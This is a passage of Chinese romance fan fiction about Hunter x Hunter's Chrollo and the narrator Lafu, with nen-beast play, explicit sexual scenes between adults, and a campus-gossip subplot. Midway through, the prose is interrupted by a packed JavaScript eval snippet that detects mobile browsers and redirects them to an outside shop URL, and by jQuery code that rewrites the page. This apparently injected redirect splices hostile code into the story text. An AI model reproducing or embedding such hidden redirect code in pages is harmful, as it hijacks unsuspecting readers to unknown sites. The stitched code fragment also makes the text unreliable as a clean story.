人在遭受创伤后会开启情感解离状态,以规避对痛苦的感受。他对一切的感知就像是蒙上透明又无限打薄的雾一样,不影响对世界和他人的确切观察,但都与他自己天然地隔开了。 他在雾里自洽,在雾外演绎。 或许属于小库洛仔的大多数情感也被踢到了那圈雾的另一面,因此库洛洛平常也没有什么剧烈的反应,表情始终是淡淡的。 理所当然地,你愈发不懂他在想什么。他不再是直接把想法说出来、表现在脸上的人。朝夕相处照旧,你们的距离却已经拉远,他沉入了你不允许自己踏入的世界。 可是,你们还没到彻底分开的时候,不是吗?至少在那之前,你还想和他多说说话。 “库洛洛,我…、” 随便说些什么都好,反正他会听的。因为他就是那样的人啊。 “拉芙。” 他看着你,低声说。 “不要再那么冲动了。” 15. 库洛洛的第零年(8) 你亲亲亲亲! 小布丁狗的脸上出现两片红云,小眼睛弯成月牙,两只长耳朵也风扇叶一样平直地旋转起来,带来一阵甜丝丝的风。 “你怎么这么可爱呀宝宝!” 你用脸颊蹭蹭小狗的脸,话音都明显地夹起来。 小狗身后的人不满地捏住它的耳朵:“你对我都没有这样过。” 你眨眨眼一脸纯良:“我对你的念兽这样,四舍五入也是对你这样了。” 见他似乎是被哄好了,你趁机又说:“那还可以给我变一只小浣熊吗?” 他讨价还价:“你先像亲布丁狗一样亲亲我。” 真是不好糊弄!你在他脸上胡乱啄了啄,他眯起眼睛享受地把身体往你怀里倒。可怜的布丁狗被挤出你的视线,只能发出凄惨而软糯的叫声。 末了,坏心狗反受了委屈似的:“还少了一句话。” “……” 你用自己不敢回想的声音大喊:“你怎么这么可爱呀库洛洛!”而后一口咬在他脸上。 哦呼,还有回弹的。 男人白皙的脸上留下浅浅的牙印,看着跟被小动物啃过一样。娃娃脸大有从清纯高中生退回更幼童的趋势,只是宠溺中带着戏谑的眼神实在不像是小孩能露出的。 “脸,红了哦。” “!” 在你彻底恼羞成怒前,库洛洛把一只憨态可掬、眼珠水灵灵的小浣熊捧到你面前。它欢快而亲昵的蹭了蹭你的手心。你摸着毛茸茸的脑袋,皮毛顺滑而有光泽。带着环纹的尾巴也蓬松又温暖。 “可爱!”你在它鼻前又啾了几口,握住细长的爪爪。 “还可以变成狸猫吗?” 他问:“你很喜欢这类生物吗?” “那当然了,不是很可爱吗。”你指着小家伙的黑色颊部,“这个,不是看起来很像你和你的黑眼圈吗?而且和你一样爱翻垃圾,爱吃甜食,爱搞破坏。” 那个时候,只要把在垃圾堆里东奔西跑的库洛仔想象成上蹿下跳的小浣熊,你就会不由自主乐出来。 “唔,那狸猫呢?” 你更是赞叹无比:“王道の小偷。” “……呵呵呵。”库洛洛在你颈窝埋首,笑得肩膀都在抖动。 你不明所以,他也没有解释。很快,怀中的小浣熊又变成可爱的狸猫,黑色的面罩更深邃了。 棕褐色的皮毛一样柔软,随着身体的呼吸时而收缩时而舒展。你轻轻挠它的下巴,它还发着嗲嗲的叫声。 “宝贝!” 你亲了亲它圆圆的耳朵,还跟着小脑袋的摆动一晃一晃。 小家伙听懂了似的,又叫了一声。 亲亲亲亲亲! 你沉浸于撸小狸猫时,男人也抚上你的头发和脸颊,指腹轻柔地摩挲。 “拉芙,也给我一只你的念兽吧?” “不要。” “诶——我也会很想你的。” 库洛洛开始撒泼,小狸猫也用脑袋轻轻拱你的下巴。两双黑乎乎的大眼睛一闪一闪地看着你,仿佛没什么不同。 “不——要。总感觉你会做出什么变态的事。” 好吧,其实有可能你才是那个变.态。 库洛洛在你一边脸颊轻吻,狸猫在另一边用纽扣状的小巧鼻头蹭着。 “那种事,我只会对你做的。拉芙,就给我一个嘛。” 舌头湿软的触感传来。库洛洛的蛇皮一样滑腻灵活,狸猫的则略显粗糙和野性。舌.乳.头的微弱刺激让你既痒又羞耻。 “……好了,我做行了吧!” 小狸猫轻轻退开,男人的舌尖却顺势寻进你口中缠绵。笑音顺着胸腔的震动传来。他吻得太过热烈,水声弄得你面红耳赤。 意识晕眩间,你感觉脑海中库洛洛惯会讨便宜的黑眼睛,和狸猫天然与面罩相连的黑眼睛,渐渐模糊地糅杂在一起,重合为他皮肉下一片黏稠的虚空。 「我不在的时候,不要看别人哦。」 虚空对你伸出了无数触手。 “唔……” 说不上是窒息还是享受。你早已分不清其中的差别,换气时舌尖被浅浅地吸吮竟还觉得不够。 不行。太没骨气了。 “你想要什么样的念兽?” 男人咽下粘连的银丝,喉结滚动了几下:“……猫吧。” 倒是挺常规。 “什么品种的?” 他看着你,眼神微动:“大概是……乳白米努特矮脚猫。” “你想得倒是挺美啊。” 你凝聚念力,捏出了一只绒绒的豆乳小团子。还没等你们有什么动作,小狸猫已经贴过去舔上了。 “我记得狸猫是会吃猫的?” 小狸猫糊了小猫一脖子口水的动作让人担忧。 “不会有事的。”库洛洛摸摸两只小家伙,笑着解释,“它只是太喜欢这孩子了而已。” 那这第一次见面就这样,也太夸张了。可是小猫似乎也接受良好,转眼已经和狸猫跳到其他地方玩耍了。 你不爽:“我这个主人还没摸上呢……” 库洛洛握住你的手腕,把你的手带到自己脸颊旁依恋地蹭了蹭。 “那摸摸我吧?也很舒服的。” …… 确实舒服。就是你的手也有点酸。 啊哈,谁让他的手带着你向下时眼神那么勾人,不能怪你定力不足。 受主人的潜意识影响,两只小动物识趣地没打扰你们,等结束了才再次出现。 库洛洛似乎一直很在意,上次他走了之后就找不到你的事。可能是不安作祟,这人晚上总要缠着你讨到什么便宜才罢休。可怜了你每天白天要奔工作,晚上回来有漂亮猫猫不能撸,还要反过来被一只大狸猫撸。 “够了,你这根本不是懂事男人的做法!” 大狸猫从裙底探起头,脸上还带着潮湿:“……我弄得你不舒服吗?” “……” 凭心而论,你真的说不出难受。库洛洛的口技和他的口才一样,让人想找麻烦都编不出来问题。 “、你最近太粘人了!”想起自己白天差点手脱力地把台本掉地上,你还是控诉,“让我很困扰。” 但他并不愿意收敛,眼睛像是也被你浸泡过一样,带着湿意:“我不想和你分开嘛。一想到要走,就忍不住再多亲近一点。” “不是已经有我的念兽了吗?” 话一出口,你就明白了。这人毕竟又不能对猫猫做这种出格的事。 “嘶——” 你没辙地道:“库洛洛,把你的感官和小库联结上。” 库洛洛愣了一两秒,才反应过来你是在叫小狸猫,依言弄好。 你唤来了小家伙,轻轻抚摸茸茸的脑袋:“有感觉吗?” “……嗯。” 他闭着眼,乖顺地靠在你胸前。 你又手心一点点拂过小库的脖颈、脊背、尾巴。小家伙甜甜叫着,它的主人则从喉间溢出惬意的低哼。 “安心了吗?你不在的时候我会把小库撸秃噜皮的。” “安心了。”库洛洛放松地微笑。 “你可以也和小芙联结上吗?” “不可以。我怕你做奇怪的事。” 话说,「小芙」这名字也太一般了吧。 “拉芙——答应我嘛,我只是想抱抱你——” “我才不信你这个流氓!” …… 可恶,最后还是没拗过他。你再三叮嘱他不要胡乱玩猫,你可是很忙的。 这人虽还没消停,好在也没再粘得太过分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251006|197936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临走时,库洛洛还是缠着你吻了好久,又让你加回旅团其他人的联系方式。连西索的都给你了。 提起西索,他甚至不乏好感:“他给了我很多有用的建议。” “?” 你想细问,他却不肯多透露。在亲吻越来越限制级前,你还是赶紧把他打发走了,免得他嘴里含着你的味道出去见人。 可惜了你的亲亲小猫咪,还没怎么抱过就跟着人去干坏事了。小狸猫分别前又糊了它一身口水。 * 你隐隐担心自己再做噩梦,小库的陪伴却很好地打消了你的不安,每天都香香软软地躺在你身边。——「小库」是这只念兽各种形态的统称。也就是说,你可以自由选择和布丁狗、狸猫、浣熊还是小库洛仔相处。耶! 动物形态的小库很喜欢往你怀里蹭,你也乐得摸摸。至于库洛洛偶尔打电话时享受又吃味地说“你太宠它们了”,你才不管。 只是小库也不想你一个人外出。每次你要离家,小家伙就死死扒着你的裤脚,要和你一起走。你只好视情况而定,选择带上小动物或者库洛仔。 学校已经没有什么课程,但还需要完成毕业设计。你开始每天录音棚和图书馆两头跑。小动物无法出入图书馆,于是小库就变成了库洛仔,陪着你读书。 小孩还没见过这么多保存完好的书,和这么完善的设施,这本也想看,那本也想看,最后兴高采烈地拿了好多。你跟他指指墙上贴的「一次最多只能取用三本」的标志,小孩独自呆成了灰色小蜡像。 “呜……” “下次还会来的。”你摸摸他的头发。 库洛仔像小时候一样抱过来,但双手只能空落落地环在你腰间,发觉你们不同速的成长后,小嘴又是一嘟。 你弯下腰去回抱住他:“好啦,库洛仔。我们还会一起玩的。” 不再是年幼形态的你,可以做的说不定更多。你吻了吻小孩的额头和脸颊,手又握着小孩还留有肉感的小手,抬起来亲了亲。 “我们会一直在一起的,好不好?所以不用急呀。” “拉芙……” 库洛仔的鼻尖都染上了粉色。 “我、我并没有很难过,所以你不用太费心思——” “那可不行。”你笑眯眯地说,“库洛仔的任何事情,我都会放在心上喔。因为你是全世界最可爱的小孩。” “呜……” 小孩的眼变成蚊香眼,头上也冒出蒸汽。 啊,是不是太像变.态老阿姨了。你忏悔。 碍于某人牛皮糖管控,终于能约到你的同学们惊讶得很:“我们还以为论坛上说的是假的呢,白辟谣了……” “?” 莉娅打开网页,示意你关注学校论坛置顶帖【震惊!游戏专业某学霸疑似在校期间与青梅竹马育有一子!】 帖主称,自己为了赶学期ddl而每天泡图书馆,最近经常能见到某校内知名学霸带着一名小男孩一同读书,举止亲密。而小男孩长相标致,酷似学霸之前带到过学校的帅哥男友。 底下很多泡图书馆的校友表示他们也看到了,但不约而同地都没有把照片发上来,只是言语暗示「就是做什么游戏都大火,本可以包男模却只爱糟糠之夫的那位!」「就是长得那么帅又聪明,还提防着乡下留子抢老婆的那位!」「就是连大帅哥陀思妥耶夫斯基都插足不了的那两位!」 你:“……?” 槽点也太多了。 再往下翻,你看到了疑似你朋友们的评论:「胡说八道!人家这么年轻怎么可能有那么大的孩子!至少也是嫂子文学!」 「放屁的儿子!人家只是好心帮帅气小弟弟解答不懂的问题,少嫉妒年轻富婆!」 “……” 她们也没放过你啊。